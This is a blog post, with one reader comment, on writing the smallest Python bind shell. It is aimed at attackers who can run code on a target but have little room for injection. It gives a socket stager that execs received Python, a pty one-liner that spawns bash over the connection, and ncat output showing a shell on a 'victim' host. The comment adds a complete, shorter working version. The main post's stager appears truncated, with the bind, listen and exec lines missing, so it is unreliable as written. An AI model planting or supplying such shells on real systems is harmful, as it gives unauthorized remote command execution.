Friday, June 16, 2017

Smallest Python Bind Shell

    As a followup to my previous post about making the smallest python reverse bind shell, A coworker ran into a situation where outbound connections were not allowed. So I decided to change the code to be a bind shell instead of a reverse-connect shell.

    This version simply sits and listens on the specified port for input, and then executes whatever text it receives as python code. Just like with the reverse-bind shell, I'm sure this would more accurately be classified as a stager since the meat of the code is actually sent when you connect to the socket, as you'll see later.

If you're able to execute Python code on the target machine and have limited space for injections (SQL/limited command injection/whatever) this 105 character tweet-able bind shell may work for you:

import socket as a
s = a.socket()
(r,z) = s.accept()

Once this is executed on the victim machine, you then connect to it with netcat/ncat.

$ ncat localhost 2425 -v
Ncat: Version 7.40 ( )
Ncat: Connected to

Then paste in the following line. Once it's pasted in, don't hit enter like you'd expect, hit CTRL-D so your terminal sends the EOF signal. Once you hit CTRL-D it will pop a shell for you to have fun with.

import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

And boom, shell:

$ ncat localhost 2425 -v
Ncat: Version 7.40 ( )
Ncat: Connected to
import pty,os;os.dup2(r.fileno(),0);os.dup2(r.fileno(),1);os.dup2(r.fileno(),2);pty.spawn("/bin/bash");s.close()

[09:41:21][victim]@[victimhost:~]$ pwd

PS. The bind shell code is saying to bind to port 2425, which is just to make it not require root privileges. If you don't have root, you won't be able to bind it to any port less than 1024.

PPS. As with the reverse shell, I simply haven't found anything smaller. I'm sure there is some Python wizardry to make it smaller, but this is good enough for most purposes.

     I was reminded that IPs can be shortened mathematically and it does in fact work with the socket library. I changed the above bind line to '127.1' since it is equivalent to and shorter than 'localhost'. This brings the overall size from 109 characters to 105. Granted that won't matter when yo put in your own server for an actual attack but whatever. IT STILL COUNTS.

1 comment:

  1. Hey! Thank you for this article.
    If small is what you want, here's even a smaller version :)

    import socket as a;s=a.socket();s.bind(('127.1',2425));s.listen(1);r,z=s.accept();exec(r.recv(99))

    import pty,os;d=os.dup2;n=r.fileno;d(n(),0);d(n(),1);d(n(),2);pty.spawn("/bin/sh");s.close()

    TBH - I haven't tested